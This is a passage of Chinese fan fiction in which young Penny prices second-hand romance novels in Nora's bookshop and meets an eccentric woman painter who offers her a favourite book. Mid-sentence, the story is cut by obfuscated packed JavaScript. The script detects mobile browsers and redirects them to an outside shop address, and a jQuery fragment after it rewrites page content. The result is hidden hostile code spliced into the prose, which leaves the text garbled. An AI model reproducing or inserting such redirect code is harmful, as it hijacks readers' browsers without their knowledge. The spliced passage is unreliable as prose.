诺拉要在灰与榆举办了一个打折出售二手书的活动，处理她那些地下室里的藏书，还有一些包装受损或者沾染了污渍无法正价出售的瑕疵书籍。佩妮协助她把那些书从地下室搬出来，放在了书架上，一部分要打折处理的都是浪漫爱情小说。


    佩妮站在书架前拿着扫尘帚把书本上的灰尘扫去，给这些书本一本一本贴上打折出售的标签。佩妮在里头瞧见了一本冬日烈火，她拿起来，给它贴上标签，这个版本的封面是布伦南小姐拔出她的宝剑警惕地站在悬崖上远望，旁边是费特南先生，佩妮的手指在书籍的封面上流连。


    出版社每天都在出版这么多的小说，索菲甚至即将出版一本书，开启她崭新的生活。


    “诺拉，怎样才可以出版一本小说。”佩妮不禁有一些好奇地问。


    听见这个问题，诺拉立刻警觉起来：“嘿，佩妮，这个可不是你现在需要想的问题，你有听我的话，没有再看那些书了吧？”诺拉站在收银台后面看着她，意有所指。


    “我只是问一下而已，诺拉，我当然有听你的话。”事实上佩妮并没有完全听诺拉的话，她跑去了图书馆，在索菲曾经告诉她的书架中秘密地流连。但是她遇到了一个新的问题，也许是那些浪漫小说都太过于老旧，幸福结局带给她的快乐总像一个气泡一样，转瞬即逝，随后强烈的空虚感再次席卷了她。


    怎么会这样？也许是书架上的那些浪漫小说不够新，不够好，等她毕业后去伦敦，她就可以在伦敦的书店里挑选新的浪漫小说，佩妮这样认为。于是这段时间佩妮放弃了阅读浪漫小说，改去紫藤路，继续尝试推开伊索尔德书架上那些书的大门。


    “你现在最重要的事情，就是好好上学，什么事情都等你长大再说，”诺拉低下头开始清点手边的条目，“顺便，把你手上的那本书放回去。”


    佩妮听话地把那本冬日烈火返回了书架，继续给其他的书贴标签，诺拉从柜台转去另外一个书架前，清点新到货的书。


    在她看不到的角落，佩妮重新抽出了那本冬日烈火，翻到了结局的部分。


    布伦南小姐携手费特南先生，击溃了叛军。她得到了费特南先生对她一生一世守护的承诺。


    ——她获得了幸福的结局。


    一声轻笑从佩妮的身边传来，她惊慌失措地合上书本，将冬日烈火放回了书架，看向使自己的心脏怦怦直跳的罪魁祸首。


    一个女人站在了佩妮的身边，她看起来三十多岁，不，她的眼角和眉梢有一些细纹，皮肤上带着岁月的痕迹，看起来一点也不光滑，她看起来比妈妈还大。她穿着一件红色格子衬衫，下身穿一条洗得些发白的蓝色牛仔裤，若仔细看，裤子上还有一些星星点点的陈渍。她脚上蹬着的是一双陈旧的淡黄色帆布鞋，棕色的卷发扎成了一条马尾，背上背着一块被布蒙住的长方形木板，佩妮猜测那可能是个画板，她可能是个画家。


    她对这个女人有点印象，这个女人早些时候就已经在灰与榆了，她的穿着使佩妮多看了几眼，有些担心她身后背着的那块长方形的木板会在穿行于诺拉不甚宽敞的书架间，碰倒佩妮好不容易摆好的书。


    但这一切并没有发生，这个女人不知道什么时候背着她的画板转到了这个二手书架旁边，手上拿着几本书。


    她应该听见自己和诺拉的对话，但这是诺拉的客人，佩妮压下被发现的恼羞成怒，努力礼貌地对她说：“请问有什么需要帮您的吗？”


    女人冲佩妮眨了眨眼，她的五官生动起来。她凑到佩妮的身边，佩妮闻到一股若有若无的茉莉，橙花混合着金合欢的香气，她用只有佩妮能听见的声音对她说：“要出版一本书很简单，你只需要完成一个属于你的故事，然后拿去出版社，放到编辑的面前。如果他不喜欢，就换一个编辑，换一家出版社也行。”她的口音听起来不像是英国人，像美国人。


    佩妮愣愣地看着她，那个女人将原先选好的书夹在腋下，伸手从书架上取下佩妮放回去的那本冬日烈火，封面使她挑起了眉，佩妮又猜不准她的年龄了，像妈妈那个年龄的大人不会露出这种表情。女人将冬日烈火翻到了背面，看了看小说简介，把这本书拿在了自己的手上。


    她又从书架上挑选了另外几本书，走到了收银台呼唤诺拉：“劳驾，我要这几本书。”


    叮铃一声响，佩妮看着女人拿着好些书，推开了门，径直走进了室外的阳光里。


    快至正午的时候，佩妮从灰与榆出来，她刚走出一小段路，就看见那个穿着红色格子衬衫的女人坐在路边的一个屋檐下。她把背上的木板取了下来放在了地面上，新买的书就堆在上面，她一边吃着什么，一边聚精会神地盯着马路对面。


    一点好奇拖动着佩妮的双脚，带她走了过去。


    “你在看什么？”佩妮走近了才发现，女人手中拿着一个塞满了白色奶酪的黄色生甜椒，这样的搭配使佩妮下意识皱了一下眉。


    女人被佩妮的声音吓了一跳，虽然是无意之举，但看见女人吃惊的表情，佩妮心中产生了一丝隐秘的报复的快感。女人转过视线，认清是佩妮，于是冲她笑了一下，她指着马路对面对佩妮说说：“那棵白蜡树快要死了。”这摸不着头脑的话使佩妮一头雾水，但女人说话的语气格外认真，佩妮下意识顺着她的手指看过去。


    正午的太阳有些晃眼，放眼望去，一排排树下就是马路上偶尔经过的小汽车，什么特殊的东西也没有。


    “它生病了，你看，顶端的枝条要枯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16113656|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    萎了，变成了枯黄色，树皮颜色比其他的淡一些，还有细微的裂纹。最美的颜色，却偏偏诞生在快要死亡的时候。”女人转过脸对佩妮解释，她的声音里是说不出的惋惜和欣赏。


    太阳下街道边的树每一棵外形都差不多，树盖如云，冒着统一的生机盎然的绿，佩妮根本看不出区别，她甚至不知道女人指的是哪一棵树。


    这是一个古怪的女人，佩妮的直觉告诉她，不要再和这个奇怪的女人打交道。她正要走，女人问她：“你是这镇上的孩子吗，你知道圣凯瑟琳教堂怎么去吗？我姑妈生病了，我要去看一下她。”


    她说的就是佩妮学校门口的那座教堂，佩妮犹豫了半晌，还是告诉了女人具体的方位。


    “上帝保佑你，你真是一位好孩子。”女人笑起来，离得近了，她眼角的细纹看起来愈发明显。她囫囵吃下最后一口甜椒，站起来将书本拿在手里，背上了她的画板。


    佩妮的视线落在了女人从灰与榆带出来的书，她拿走了那本冬日烈火，她会喜欢布伦南小姐吗？


    女人察觉到了佩妮的目光，她把那本冬日烈火从那摞书里抽了出来：“你喜欢它吗？”


    佩妮实在没有办法违背自己的心意，她点了点头。


    那本冬日烈火被递到了佩妮的面前。


    “送给你。”佩妮惊讶地抬起了她的头，她听见那个古怪的女人说，“我在你这个年龄的时候也喜欢看这些书，虽然大人们总是不允许，但是谁不喜欢做梦呢，拿回家看吧，要把它藏好，别说是我送给你的。”


    但佩妮摇了摇头：“谢谢你，但我已经看过了。”


    这回轮到女人露出一个讶然的表情。


    太阳晒得佩妮的脸微微发红，她的声音里带着一丝自己都察觉不到的骄傲：“你买的那几本书我都看过了，那本冬日烈火最好看，布伦南小姐，就是它的女主人公，她有一把宝剑。其他的小说也不错，里面有一本伍德威斯的小说，她一直在写，每本小说都很好看，但我最喜欢的还是冬日烈火，不过很可惜，林德赛后面的小说都没有冬日烈火那么好看了。”


    女人盯着佩妮的脸看了一会儿，突然露出了一个仿佛撞破了什么秘密般的笑容：“那么你呢，你刚刚问的那个问题，你也在写小说吗？”


    这个问题犹如兜头给佩妮浇了一盆冷水，她迅速冷静下来，猛然惊觉自己跟陌生人说了太多不应该说的话，心中涌起一股强烈的后悔。于是她猛地后退了一步，看着眼前这个女人，目光带着警惕地说：“再见，我要回家吃饭了。”


    佩妮转身匆匆跑走，心中安慰自己，这个古怪的女人肯定不是科克沃斯的人，等她探视完她那生病的姑妈，她就会离开科克沃斯，佩妮不会再碰到她了。